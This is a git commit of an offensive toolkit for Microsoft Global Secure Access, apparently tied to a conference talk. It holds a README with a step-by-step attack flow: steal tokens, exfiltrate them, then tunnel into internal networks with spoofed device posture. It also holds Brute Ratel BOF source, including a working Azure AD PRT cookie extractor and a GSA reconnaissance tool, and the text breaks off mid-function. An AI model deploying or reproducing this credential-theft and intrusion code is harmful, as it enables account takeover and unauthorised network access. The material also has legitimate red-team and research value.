Init Commit

This commit is contained in:
ar0x4
2026-06-13 10:57:36 +02:00
commit c5e764db03
14 changed files with 2283 additions and 0 deletions
+111
View File
@@ -0,0 +1,111 @@
# Tunnel Vision Toolkit
[![logo](logo.png)](https://x33fcon.com/)
Offensive security toolkit for Microsoft Global Secure Access (GSA), Microsoft's Zero Trust Network Access (ZTNA) solution. Developed as part of the research presented at **x33fcon 2026***"Tunnel Vision: What Microsoft's Secure Edge Can't See"*.
## Overview
Microsoft Global Secure Access is an identity-aware, cloud-delivered network security service that replaces traditional VPNs. It intercepts traffic at the kernel level via a WFP driver, routes it through Microsoft's cloud edge, and delivers it to on-premises resources via connectors. It enforces device compliance, conditional access, and per-app policies.
This research reverse-engineered the GSA wire protocol and built a fully independent tunnel client from scratch. The custom client runs on Linux and macOS, speaks the same gRPC-based protocol, and establishes a working ZTNA tunnel. Device posture checks are self-reported by the client and not validated server-side, which the custom client takes advantage of to present arbitrary device metadata.
## Components
### Rogue Client (`rogue-client/`)
A standalone Python tunnel client that connects to the GSA edge from **any OS** (Linux, macOS, Windows) and routes arbitrary traffic through the ZTNA tunnel. Uses a TUN interface for transparent network integration.
**Capabilities:**
- Establishes authenticated gRPC tunnel to Microsoft's edge servers
- Creates a TUN device and routes traffic through the tunnel transparently
- Per-flow authentication with automatic flow lifecycle management
- Spoofs device metadata to appear as a legitimate Windows client
- Parses JWT tokens from TokenBroker dump files by audience
See [`rogue-client/README.md`](rogue-client/README.md) for setup and usage.
### BOFs (`bofs/`)
Beacon Object Files for [BRC4](https://bruteratel.com/) (portable to Cobalt Strike with minor modifications).
#### GSA Token Theft (`bofs/gsa-token-theft/`)
Two BOFs for GSA-enrolled Windows targets:
| BOF | Description |
|-----|-------------|
| `gsa_enum` | Full GSA reconnaissance — installation, services, processes, registry, security posture, forwarding profile with JSON dump |
| `gsa_tbres_steal` | Extracts GSA authentication tokens from TokenBroker `.tbres` cache files via DPAPI decryption |
See [`bofs/README.md`](bofs/README.md) for build instructions.
### Protocol Definition (`proto/`)
The reconstructed ZTNA v2 protobuf definition, extracted from embedded descriptors in `GlobalSecureAccessTunnelingService.exe` via Ghidra analysis.
## Architecture
```
Rogue Client (any OS)
|
gRPC / TLS :443
|
v
┌────────────────────────────────┐
│ Microsoft GSA Edge │
│ *.globalsecureaccess.microsoft │
│ .com │
└───────────────┬────────────────┘
Outbound connector tunnel
v
┌────────────────────────────────┐
│ On-Premises Connector │
│ (customer network) │
└───────────────┬────────────────┘
v
Internal Resources
(DCs, file shares, apps)
```
## Build & Usage
1. Build Protocol Buffers:
```bash
cd proto
python3 -m grpc_tools.protoc -I. --python_out=../rogue-client --grpc_python_out=../rogue-client gsa_tunnel.proto
```
2. Run the rogue client:
```bash
cd rogue-client
python3 gsa_tunnel.py --tenant <tenant-id> --tokens <path-to-tokens.json>
```
## Attack Flow
```
1. Land on GSA-enrolled Windows device
2. Run gsa_enum BOF → confirm GSA installation, dump forwarding profile
3. Run gsa_tbres_steal BOF → extract TUNNEL/PORTO/APS tokens from TokenBroker
4. Exfiltrate tokens to attacker machine
5. Run rogue client from attacker machine (Linux/macOS)
→ Full authenticated tunnel to internal network
→ Device posture spoofed, no compliance checks
→ Access persists until tokens expire (~75 min)
```
## License
This project is released for **authorized security testing and research purposes only**.
## ToDos
- [ ] Implement automatic token refresh in rogue client using refresh tokens
- [ ] Add Entra Internet Access (EIA) support
## Author
**Arshia Reisi** ([@_ar0x4](https://x.com/_ar0x4))
Presented at x33fcon 2026
+56
View File
@@ -0,0 +1,56 @@
# GSA Beacon Object Files
BOFs for reconnaissance and token extraction on Microsoft Global Secure Access enrolled Windows devices. Written for [BRC4](https://bruteratel.com/) (`coffee` entry point, `BadgerDispatch` output).
## BOFs
### gsa-token-theft/gsa_enum
Full GSA reconnaissance. Enumerates:
- **Installation** — binary paths, file versions, subdirectories
- **Services** — status of all four GSA Windows services
- **Processes** — running GSA process PIDs and thread counts
- **Registry** — HKLM and HKCU configuration values
- **Security posture** — `RestrictNonPrivilegedUsers`, `HideDisableButton`, mTLS cert, bypass flags
- **Forwarding profile** — tenant ID, enabled channels (M365/Private/Internet), rule counts, edge server, full JSON dump
No arguments required. Runs as current user (non-admin sufficient for most checks).
### gsa-token-theft/gsa_tbres_steal
Extracts GSA authentication tokens from the Windows TokenBroker cache:
1. Scans `%USERPROFILE%\AppData\Local\Microsoft\TokenBroker\Cache\*.tbres`
2. Finds DPAPI-protected response blobs (`IsProtected: true`)
3. Decrypts via `CryptUnprotectData` (works in the token owner's user context)
4. Scans decrypted data for JWTs matching GSA audiences
5. Outputs token type (TUNNEL/PORTO/APS), audience, scope, expiry, and full JWT
**Requirements:** Must run as the user who owns the TokenBroker cache. DPAPI decryption uses the user's credentials — running as a different user or SYSTEM will fail.
## Building
Requires MinGW cross-compiler:
```bash
# Install cross-compiler (Debian/Ubuntu)
sudo apt install gcc-mingw-w64-x86-64 gcc-mingw-w64-i686
# Build BOFs
cd bofs/gsa-token-theft && make
```
Output: `out64/*.o` (x64) and `out86/*.o` (x86) object files, ready to load in BRC4.
## Porting to Cobalt Strike
The BOFs use BRC4's `BadgerDispatch` for output and `BadgerAlloc`/`BadgerFree` for memory. To port to Cobalt Strike:
- Replace `BadgerDispatch``BeaconPrintf`
- Replace `BadgerAlloc``intAlloc`
- Replace `BadgerFree``intFree`
- Replace `BadgerMemcpy/Memset/Strcmp` → standard CRT equivalents
- Change entry point from `coffee``go`
- Replace `badger_exports.h` with Cobalt Strike's `beacon.h`
+25
View File
@@ -0,0 +1,25 @@
CC64 = x86_64-w64-mingw32-gcc
CC86 = i686-w64-mingw32-gcc
CFLAGS = -Os -s -w
STRIP64 = x86_64-w64-mingw32-strip
STRIP86 = i686-w64-mingw32-strip
BOFS = aad_prt
all: dirs $(foreach b,$(BOFS),out64/$(b)64.o out86/$(b)86.o)
dirs:
@mkdir -p out64 out86
out64/%64.o: %.c
$(CC64) $(CFLAGS) -c $< -o $@
$(STRIP64) --strip-unneeded $@
out86/%86.o: %.c
$(CC86) $(CFLAGS) -c $< -o $@
$(STRIP86) --strip-unneeded $@
clean:
rm -rf out64 out86
.PHONY: all dirs clean
+146
View File
@@ -0,0 +1,146 @@
/*
* aad_prt.c — AAD PRT Cookie Extractor (BRC4 BOF)
* Extracts Azure AD Primary Refresh Token cookies via
* IProofOfPossessionCookieInfoManager COM interface.
*
* Usage: aad_prt [nonce]
* nonce - optional SSO nonce for targeted PRT request
*
* Ported from: https://github.com/wotwot563/aad_prt_bof
*/
#include <windows.h>
#include "badger_exports.h"
/* Win32 API imports */
DECLSPEC_IMPORT LPWSTR Kernel32$lstrcpynW(LPWSTR, LPCWSTR, int);
DECLSPEC_IMPORT LPWSTR Kernel32$lstrcatW(LPWSTR, LPCWSTR);
DECLSPEC_IMPORT int Kernel32$MultiByteToWideChar(UINT, DWORD, LPCCH, int, LPWSTR, int);
DECLSPEC_IMPORT HRESULT Ole32$CLSIDFromString(LPCOLESTR, LPCLSID);
DECLSPEC_IMPORT HRESULT Ole32$IIDFromString(LPCOLESTR, LPIID);
DECLSPEC_IMPORT HRESULT Ole32$CoInitializeEx(LPVOID, DWORD);
DECLSPEC_IMPORT HRESULT Ole32$CoCreateInstance(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID *);
DECLSPEC_IMPORT void Ole32$CoTaskMemFree(LPVOID);
DECLSPEC_IMPORT size_t Msvcrt$wcslen(const wchar_t *);
DECLSPEC_IMPORT size_t Msvcrt$strlen(const char *);
/* COM interface definitions (inline to avoid SDK header dependencies) */
typedef struct {
LPWSTR name;
LPWSTR data;
DWORD flags;
LPWSTR p3pHeader;
} PoP_CookieInfo;
typedef struct IPoP_CookieManagerVtbl {
HRESULT (STDMETHODCALLTYPE *QueryInterface)(void *, REFIID, void **);
ULONG (STDMETHODCALLTYPE *AddRef)(void *);
ULONG (STDMETHODCALLTYPE *Release)(void *);
HRESULT (STDMETHODCALLTYPE *GetCookieInfoForUri)(void *, LPCWSTR, DWORD *, PoP_CookieInfo **);
} IPoP_CookieManagerVtbl;
typedef struct {
IPoP_CookieManagerVtbl *lpVtbl;
} IPoP_CookieManager;
static int requestaadprt(WCHAR **dispatch, const wchar_t *nonce) {
LPCWSTR uri = L"https://login.microsoftonline.com/";
wchar_t *full_uri = NULL;
if (nonce != NULL && Msvcrt$wcslen(nonce) > 0) {
const wchar_t *base = L"https://login.microsoftonline.com/common/oauth2/authorize?sso_nonce=";
size_t len = Msvcrt$wcslen(base) + Msvcrt$wcslen(nonce) + 2;
full_uri = (wchar_t *)BadgerAlloc(len * sizeof(wchar_t));
if (!full_uri) {
BadgerDispatch(dispatch, "[-] alloc failed\n");
return 1;
}
BadgerMemset(full_uri, 0, len * sizeof(wchar_t));
Kernel32$lstrcpynW(full_uri, base, (int)(Msvcrt$wcslen(base) + 1));
Kernel32$lstrcatW(full_uri, nonce);
uri = full_uri;
}
BadgerDispatch(dispatch, "[*] URI: %ls\n", uri);
GUID clsid, iid;
Ole32$CLSIDFromString(L"{A9927F85-A304-4390-8B23-A75F1C668600}", &clsid);
Ole32$IIDFromString(L"{CDAECE56-4EDF-43DF-B113-88E4556FA1BB}", &iid);
HRESULT hr = Ole32$CoInitializeEx(NULL, 0x0);
if (hr == (HRESULT)0x80010106L) /* RPC_E_CHANGED_MODE */
hr = Ole32$CoInitializeEx(NULL, 0x2);
if (FAILED(hr)) {
BadgerDispatch(dispatch, "[-] CoInitialize: 0x%08x\n", hr);
goto cleanup;
}
IPoP_CookieManager *mgr = NULL;
hr = Ole32$CoCreateInstance(&clsid, NULL, 0x1 /* CLSCTX_INPROC_SERVER */, &iid, (void **)&mgr);
if (FAILED(hr)) {
BadgerDispatch(dispatch, "[-] CoCreateInstance: 0x%08x\n", hr);
goto cleanup;
}
DWORD count = 0;
PoP_CookieInfo *cookies = NULL;
hr = mgr->lpVtbl->GetCookieInfoForUri(mgr, uri, &count, &cookies);
if (FAILED(hr)) {
BadgerDispatch(dispatch, "[-] GetCookieInfoForUri: 0x%08x\n", hr);
goto cleanup;
}
if (count == 0) {
BadgerDispatch(dispatch, "[-] No cookies for URI\n");
goto cleanup;
}
BadgerDispatch(dispatch, "[+] Found %lu cookie(s)\n\n", count);
for (DWORD i = 0; i < count; i++) {
BadgerDispatch(dispatch, "[Cookie %lu]\n", i);
BadgerDispatch(dispatch, " Name: %ls\n", cookies[i].name);
BadgerDispatch(dispatch, " Data: %ls\n", cookies[i].data);
BadgerDispatch(dispatch, " Flags: 0x%x\n", cookies[i].flags);
BadgerDispatch(dispatch, " P3PHeader: %ls\n\n", cookies[i].p3pHeader);
Ole32$CoTaskMemFree(cookies[i].name);
Ole32$CoTaskMemFree(cookies[i].data);
Ole32$CoTaskMemFree(cookies[i].p3pHeader);
}
Ole32$CoTaskMemFree(cookies);
cleanup:
if (full_uri) BadgerFree((PVOID *)&full_uri);
return 0;
}
void coffee(char **argv, int argc, WCHAR **dispatch) {
g_dispatch = dispatch;
BadgerDispatch(dispatch, "=================================\n");
BadgerDispatch(dispatch, " AAD PRT Cookie Extractor\n");
BadgerDispatch(dispatch, "=================================\n\n");
wchar_t *nonce = NULL;
if (argc >= 2 && argv[1] != NULL && Msvcrt$strlen(argv[1]) > 0) {
int len = Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, NULL, 0);
if (len > 0) {
nonce = (wchar_t *)BadgerAlloc(len * sizeof(wchar_t));
if (nonce) {
BadgerMemset(nonce, 0, len * sizeof(wchar_t));
Kernel32$MultiByteToWideChar(CP_UTF8, 0, argv[1], -1, nonce, len);
BadgerDispatch(dispatch, "[*] Nonce: %ls\n", nonce);
}
}
} else {
BadgerDispatch(dispatch, "[*] No nonce provided, using default URI\n");
}
requestaadprt(dispatch, nonce);
if (nonce) BadgerFree((PVOID *)&nonce);
}
+22
View File
@@ -0,0 +1,22 @@
#include <windows.h>
void coffee(char** argv, int argc, WCHAR** dispatch);
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
DECLSPEC_IMPORT int BadgerAtoi(char* string);
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
DECLSPEC_IMPORT BOOL BadgerSetdebug();
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
DECLSPEC_IMPORT VOID BadgerSetToken(HANDLE hToken);
DECLSPEC_IMPORT BOOL BadgerAddPrivilege(CHAR* privilegeName);
WCHAR** g_dispatch __attribute__((section(".data"))) = 0;
+25
View File
@@ -0,0 +1,25 @@
CC64 = x86_64-w64-mingw32-gcc
CC86 = i686-w64-mingw32-gcc
CFLAGS = -Os -s -w
STRIP64 = x86_64-w64-mingw32-strip
STRIP86 = i686-w64-mingw32-strip
BOFS = gsa_enum gsa_tbres_steal
all: dirs $(foreach b,$(BOFS),out64/$(b)64.o out86/$(b)86.o)
dirs:
@mkdir -p out64 out86
out64/%64.o: %.c
$(CC64) $(CFLAGS) -c $< -o $@
$(STRIP64) --strip-unneeded $@
out86/%86.o: %.c
$(CC86) $(CFLAGS) -c $< -o $@
$(STRIP86) --strip-unneeded $@
clean:
rm -rf out64 out86
.PHONY: all dirs clean
+22
View File
@@ -0,0 +1,22 @@
#include <windows.h>
void coffee(char** argv, int argc, WCHAR** dispatch);
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
DECLSPEC_IMPORT int BadgerAtoi(char* string);
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
DECLSPEC_IMPORT BOOL BadgerSetdebug();
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
DECLSPEC_IMPORT VOID BadgerSetToken(HANDLE hToken);
DECLSPEC_IMPORT BOOL BadgerAddPrivilege(CHAR* privilegeName);
WCHAR** g_dispatch __attribute__((section(".data"))) = 0;
+491
View File
@@ -0,0 +1,491 @@
/*
* gsa_enum.c — GSA Reconnaissance BOF
* Enumerates Microsoft Global Secure Access (ZTNA v2) installation,
* services, processes, registry config, security posture, and
* forwarding profile with full JSON dump.
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include "badger_exports.h"
DECLSPEC_IMPORT DWORD Kernel32$GetLastError();
DECLSPEC_IMPORT BOOL Kernel32$CloseHandle(HANDLE);
DECLSPEC_IMPORT HANDLE Kernel32$CreateToolhelp32Snapshot(DWORD, DWORD);
DECLSPEC_IMPORT BOOL Kernel32$Process32First(HANDLE, LPPROCESSENTRY32);
DECLSPEC_IMPORT BOOL Kernel32$Process32Next(HANDLE, LPPROCESSENTRY32);
DECLSPEC_IMPORT DWORD Kernel32$GetFileAttributesA(LPCSTR);
DECLSPEC_IMPORT LONG Advapi32$RegOpenKeyExA(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
DECLSPEC_IMPORT LONG Advapi32$RegCloseKey(HKEY);
DECLSPEC_IMPORT LSTATUS Advapi32$RegEnumValueA(HKEY, DWORD, LPSTR, LPDWORD, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
DECLSPEC_IMPORT LSTATUS Advapi32$RegEnumKeyExA(HKEY, DWORD, LPSTR, LPDWORD, LPDWORD, LPSTR, LPDWORD, PFILETIME);
DECLSPEC_IMPORT LSTATUS Advapi32$RegQueryValueExA(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
DECLSPEC_IMPORT DWORD Version$GetFileVersionInfoSizeA(LPCSTR, LPDWORD);
DECLSPEC_IMPORT BOOL Version$VerQueryValueA(LPCVOID, LPCSTR, LPVOID *, PUINT);
DECLSPEC_IMPORT BOOL Version$GetFileVersionInfoA(LPCSTR, DWORD, DWORD, LPVOID);
DECLSPEC_IMPORT int Msvcrt$sprintf(char *, const char *, ...);
DECLSPEC_IMPORT char *Msvcrt$strstr(const char *, const char *);
DECLSPEC_IMPORT int Msvcrt$_strnicmp(const char *, const char *, size_t);
DECLSPEC_IMPORT int Msvcrt$_stricmp(const char *, const char *);
DECLSPEC_IMPORT size_t Msvcrt$strlen(const char *);
DECLSPEC_IMPORT SC_HANDLE Advapi32$OpenSCManagerA(LPCSTR, LPCSTR, DWORD);
DECLSPEC_IMPORT SC_HANDLE Advapi32$OpenServiceA(SC_HANDLE, LPCSTR, DWORD);
DECLSPEC_IMPORT BOOL Advapi32$QueryServiceStatus(SC_HANDLE, LPSERVICE_STATUS);
DECLSPEC_IMPORT BOOL Advapi32$CloseServiceHandle(SC_HANDLE);
static const char *GSA_INSTALL_DIR = "C:\\Program Files\\Global Secure Access Client";
static const char *GSA_KEY = "SOFTWARE\\Microsoft\\Global Secure Access Client";
static const char *GSA_KEY_HKCU = "Software\\Microsoft\\Global Secure Access Client";
static const char *ServiceStateStr(DWORD state) {
switch (state) {
case SERVICE_STOPPED: return "STOPPED";
case SERVICE_START_PENDING: return "START_PENDING";
case SERVICE_STOP_PENDING: return "STOP_PENDING";
case SERVICE_RUNNING: return "RUNNING";
case SERVICE_PAUSED: return "PAUSED";
default: return "UNKNOWN";
}
}
static void PrintError(WCHAR **dispatch, const char *ctx) {
DWORD err = Kernel32$GetLastError();
if (err == 5)
BadgerDispatch(dispatch, "[-] %s: access denied\n", ctx);
else
BadgerDispatch(dispatch, "[-] %s: error %lu\n", ctx, err);
}
static BOOL ReadRegDword(HKEY root, const char *subkey, const char *name, DWORD *out) {
HKEY hk;
if (Advapi32$RegOpenKeyExA(root, subkey, 0, KEY_READ, &hk) != ERROR_SUCCESS)
return FALSE;
DWORD type = 0, size = sizeof(DWORD);
LSTATUS s = Advapi32$RegQueryValueExA(hk, name, NULL, &type, (LPBYTE)out, &size);
Advapi32$RegCloseKey(hk);
return (s == ERROR_SUCCESS && type == REG_DWORD);
}
static BOOL ReadRegString(HKEY root, const char *subkey, const char *name, char *buf, DWORD bufSize) {
HKEY hk;
if (Advapi32$RegOpenKeyExA(root, subkey, 0, KEY_READ, &hk) != ERROR_SUCCESS)
return FALSE;
DWORD type = 0, size = bufSize;
BadgerMemset(buf, 0, bufSize);
LSTATUS s = Advapi32$RegQueryValueExA(hk, name, NULL, &type, (LPBYTE)buf, &size);
Advapi32$RegCloseKey(hk);
return (s == ERROR_SUCCESS && (type == REG_SZ || type == REG_EXPAND_SZ));
}
static int CountSubstring(const char *haystack, const char *needle) {
int count = 0;
const char *p = haystack;
size_t nlen = Msvcrt$strlen(needle);
while ((p = Msvcrt$strstr(p, needle)) != NULL) {
count++;
p += nlen;
}
return count;
}
void EnumInstallation(WCHAR **dispatch) {
BadgerDispatch(dispatch, "\n[*] === Installation & Version ===\n");
char path[MAX_PATH];
const char *bins[] = {
"GlobalSecureAccessClient.exe",
"GlobalSecureAccessTunnelingService.exe",
"GlobalSecureAccessEngineService.exe",
"GlobalSecureAccessPolicyRetrieverService.exe",
NULL
};
DWORD attrs = Kernel32$GetFileAttributesA(GSA_INSTALL_DIR);
if (attrs == INVALID_FILE_ATTRIBUTES) {
BadgerDispatch(dispatch, "[-] GSA not installed\n");
return;
}
BadgerDispatch(dispatch, "[+] Install dir: %s\n", GSA_INSTALL_DIR);
for (int i = 0; bins[i]; i++) {
Msvcrt$sprintf(path, "%s\\%s", GSA_INSTALL_DIR, bins[i]);
if (Kernel32$GetFileAttributesA(path) == INVALID_FILE_ATTRIBUTES)
continue;
DWORD handle = 0;
DWORD size = Version$GetFileVersionInfoSizeA(path, &handle);
if (size > 0) {
PVOID vd = BadgerAlloc(size);
if (vd && Version$GetFileVersionInfoA(path, handle, size, vd)) {
VS_FIXEDFILEINFO *fi = NULL;
UINT len = 0;
if (Version$VerQueryValueA(vd, "\\", (LPVOID *)&fi, &len) && len > 0)
BadgerDispatch(dispatch, "[+] %-48s v%lu.%lu.%lu.%lu\n", bins[i],
HIWORD(fi->dwFileVersionMS), LOWORD(fi->dwFileVersionMS),
HIWORD(fi->dwFileVersionLS), LOWORD(fi->dwFileVersionLS));
}
if (vd) BadgerFree(&vd);
} else {
BadgerDispatch(dispatch, "[+] %-48s (no version info)\n", bins[i]);
}
}
const char *subdirs[] = { "Cache Files", "Logs", "LogsCollector", "TrayApp", NULL };
for (int i = 0; subdirs[i]; i++) {
Msvcrt$sprintf(path, "%s\\%s", GSA_INSTALL_DIR, subdirs[i]);
BadgerDispatch(dispatch, " %-20s %s\n", subdirs[i],
(Kernel32$GetFileAttributesA(path) != INVALID_FILE_ATTRIBUTES) ? "exists" : "missing");
}
}
void EnumServices(WCHAR **dispatch) {
BadgerDispatch(dispatch, "\n[*] === GSA Windows Services ===\n");
SC_HANDLE hSCM = Advapi32$OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM) { PrintError(dispatch, "OpenSCManager"); return; }
struct { const char *name; const char *label; } svcs[] = {
{ "GlobalSecureAccessTunnelingService", "Tunneling Service" },
{ "GlobalSecureAccessEngineService", "Engine Service" },
{ "GlobalSecureAccessPolicyRetrieverService", "Policy Retriever" },
{ "GlobalSecureAccessDriver", "Kernel Driver" },
{ NULL, NULL }
};
int running = 0;
for (int i = 0; svcs[i].name; i++) {
SC_HANDLE hSvc = Advapi32$OpenServiceA(hSCM, svcs[i].name, SERVICE_QUERY_STATUS);
if (hSvc) {
SERVICE_STATUS ss;
BadgerMemset(&ss, 0, sizeof(ss));
if (Advapi32$QueryServiceStatus(hSvc, &ss)) {
const char *m = (ss.dwCurrentState == SERVICE_RUNNING) ? "+" : "-";
BadgerDispatch(dispatch, "[%s] %-24s %s\n", m, svcs[i].label, ServiceStateStr(ss.dwCurrentState));
if (ss.dwCurrentState == SERVICE_RUNNING) running++;
} else {
PrintError(dispatch, svcs[i].label);
}
Advapi32$CloseServiceHandle(hSvc);
} else {
DWORD err = Kernel32$GetLastError();
if (err == 5)
BadgerDispatch(dispatch, "[-] %-24s access denied\n", svcs[i].label);
else if (err == 1060)
BadgerDispatch(dispatch, "[-] %-24s not installed\n", svcs[i].label);
else
BadgerDispatch(dispatch, "[-] %-24s error %lu\n", svcs[i].label, err);
}
}
Advapi32$CloseServiceHandle(hSCM);
BadgerDispatch(dispatch, "[*] %d of 4 services running\n", running);
}
void EnumProcesses(WCHAR **dispatch) {
BadgerDispatch(dispatch, "\n[*] === GSA Processes ===\n");
HANDLE hSnap = Kernel32$CreateToolhelp32Snapshot(0x00000002, 0);
if (hSnap == INVALID_HANDLE_VALUE) { PrintError(dispatch, "Snapshot"); return; }
PROCESSENTRY32 pe;
BadgerMemset(&pe, 0, sizeof(pe));
pe.dwSize = sizeof(PROCESSENTRY32);
static const char *names[] = {
"GlobalSecureAccessClient.exe",
"GlobalSecureAccessTunnelingService.exe",
"GlobalSecureAccessEngineService.exe",
"GlobalSecureAccessPolicyRetrieverService.exe",
"GlobalSecureAccessClientManagerService.exe",
"GlobalSecureAccessForwardingProfileService.exe",
NULL
};
int found = 0;
if (Kernel32$Process32First(hSnap, &pe)) {
do {
BOOL match = FALSE;
for (int i = 0; names[i]; i++) {
if (Msvcrt$_stricmp(pe.szExeFile, names[i]) == 0) { match = TRUE; break; }
}
if (!match)
match = (Msvcrt$_strnicmp(pe.szExeFile, "GlobalSecureAccess", 18) == 0);
if (match) {
BadgerDispatch(dispatch, "[+] PID: %-6lu PPID: %-6lu Threads: %-3lu %s\n",
pe.th32ProcessID, pe.th32ParentProcessID, pe.cntThreads, pe.szExeFile);
found++;
}
} while (Kernel32$Process32Next(hSnap, &pe));
} else {
PrintError(dispatch, "Process32First");
}
Kernel32$CloseHandle(hSnap);
if (!found) BadgerDispatch(dispatch, "[-] No GSA processes found\n");
else BadgerDispatch(dispatch, "[*] Found %d GSA process(es)\n", found);
}
void EnumRegistry(WCHAR **dispatch) {
BadgerDispatch(dispatch, "\n[*] === GSA Registry ===\n");
DWORD regBufSize = 1024;
PVOID regBuf = BadgerAlloc(regBufSize);
if (!regBuf) { BadgerDispatch(dispatch, "[-] alloc failed\n"); return; }
char vname[128];
DWORD nameLen, dataLen, type;
HKEY hKey;
BadgerDispatch(dispatch, "\n [HKLM\\%s]\n", GSA_KEY);
LONG status = Advapi32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, GSA_KEY, 0, KEY_READ, &hKey);
if (status == 5)
BadgerDispatch(dispatch, " [-] access denied\n");
else if (status != ERROR_SUCCESS)
BadgerDispatch(dispatch, " [-] not found (error %ld)\n", status);
else {
DWORD idx = 0;
while (1) {
nameLen = sizeof(vname);
dataLen = regBufSize;
BadgerMemset(vname, 0, sizeof(vname));
BadgerMemset(regBuf, 0, regBufSize);
if (Advapi32$RegEnumValueA(hKey, idx, vname, &nameLen, NULL, &type, (LPBYTE)regBuf, &dataLen) != ERROR_SUCCESS)
break;
if (Msvcrt$_stricmp(vname, "ForwardingProfile") == 0)
BadgerDispatch(dispatch, " [+] %-40s = <JSON, %lu bytes>\n", vname, dataLen);
else if ((type == REG_SZ || type == REG_EXPAND_SZ) && dataLen <= 200)
BadgerDispatch(dispatch, " [+] %-40s = %s\n", vname, (char *)regBuf);
else if ((type == REG_SZ || type == REG_EXPAND_SZ) && dataLen > 200)
BadgerDispatch(dispatch, " [+] %-40s = <string, %lu bytes>\n", vname, dataLen);
else if (type == REG_DWORD && dataLen >= 4)
BadgerDispatch(dispatch, " [+] %-40s = 0x%08x (%lu)\n", vname, *(DWORD *)regBuf, *(DWORD *)regBuf);
else if (type == REG_BINARY)
BadgerDispatch(dispatch, " [+] %-40s = <binary, %lu bytes>\n", vname, dataLen);
else if (type == REG_QWORD && dataLen >= 8)
BadgerDispatch(dispatch, " [+] %-40s = 0x%llx\n", vname, *(unsigned long long *)regBuf);
idx++;
}
if (!idx) BadgerDispatch(dispatch, " [-] empty\n");
idx = 0;
while (1) {
nameLen = sizeof(vname);
BadgerMemset(vname, 0, sizeof(vname));
if (Advapi32$RegEnumKeyExA(hKey, idx, vname, &nameLen, NULL, NULL, NULL, NULL) != ERROR_SUCCESS) break;
BadgerDispatch(dispatch, " [+] Subkey: %s\n", vname);
idx++;
}
Advapi32$RegCloseKey(hKey);
}
BadgerDispatch(dispatch, "\n [HKCU\\%s]\n", GSA_KEY_HKCU);
status = Advapi32$RegOpenKeyExA(HKEY_CURRENT_USER, GSA_KEY_HKCU, 0, KEY_READ, &hKey);
if (status != ERROR_SUCCESS) {
BadgerDispatch(dispatch, " [-] not found\n");
} else {
DWORD idx = 0;
while (1) {
nameLen = sizeof(vname);
dataLen = regBufSize;
BadgerMemset(vname, 0, sizeof(vname));
BadgerMemset(regBuf, 0, regBufSize);
if (Advapi32$RegEnumValueA(hKey, idx, vname, &nameLen, NULL, &type, (LPBYTE)regBuf, &dataLen) != ERROR_SUCCESS)
break;
if (type == REG_SZ || type == REG_EXPAND_SZ)
BadgerDispatch(dispatch, " [+] %-40s = %s\n", vname, (char *)regBuf);
else if (type == REG_DWORD && dataLen >= 4)
BadgerDispatch(dispatch, " [+] %-40s = 0x%08x (%lu)\n", vname, *(DWORD *)regBuf, *(DWORD *)regBuf);
idx++;
}
if (!idx) BadgerDispatch(dispatch, " [-] empty\n");
Advapi32$RegCloseKey(hKey);
}
BadgerFree(&regBuf);
DWORD ipv6 = 0;
if (ReadRegDword(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", &ipv6))
BadgerDispatch(dispatch, "\n [IPv6] DisabledComponents = 0x%02x %s\n", ipv6,
(ipv6 == 0x20) ? "(IPv4 preferred)" : (ipv6 == 0xFF) ? "(IPv6 disabled)" : "");
else
BadgerDispatch(dispatch, "\n [IPv6] DisabledComponents not set (IPv6 active)\n");
}
void EnumSecurityPosture(WCHAR **dispatch) {
BadgerDispatch(dispatch, "\n[*] === Security Posture ===\n");
DWORD val;
if (ReadRegDword(HKEY_LOCAL_MACHINE, GSA_KEY, "RestrictNonPrivilegedUsers", &val))
BadgerDispatch(dispatch, "[%s] RestrictNonPrivilegedUsers = %lu -> %s\n",
val ? "*" : "!", val, val ? "UAC required to disable" : "any user can disable");
else
BadgerDispatch(dispatch, "[!] RestrictNonPrivilegedUsers not set -> any user can disable (default)\n");
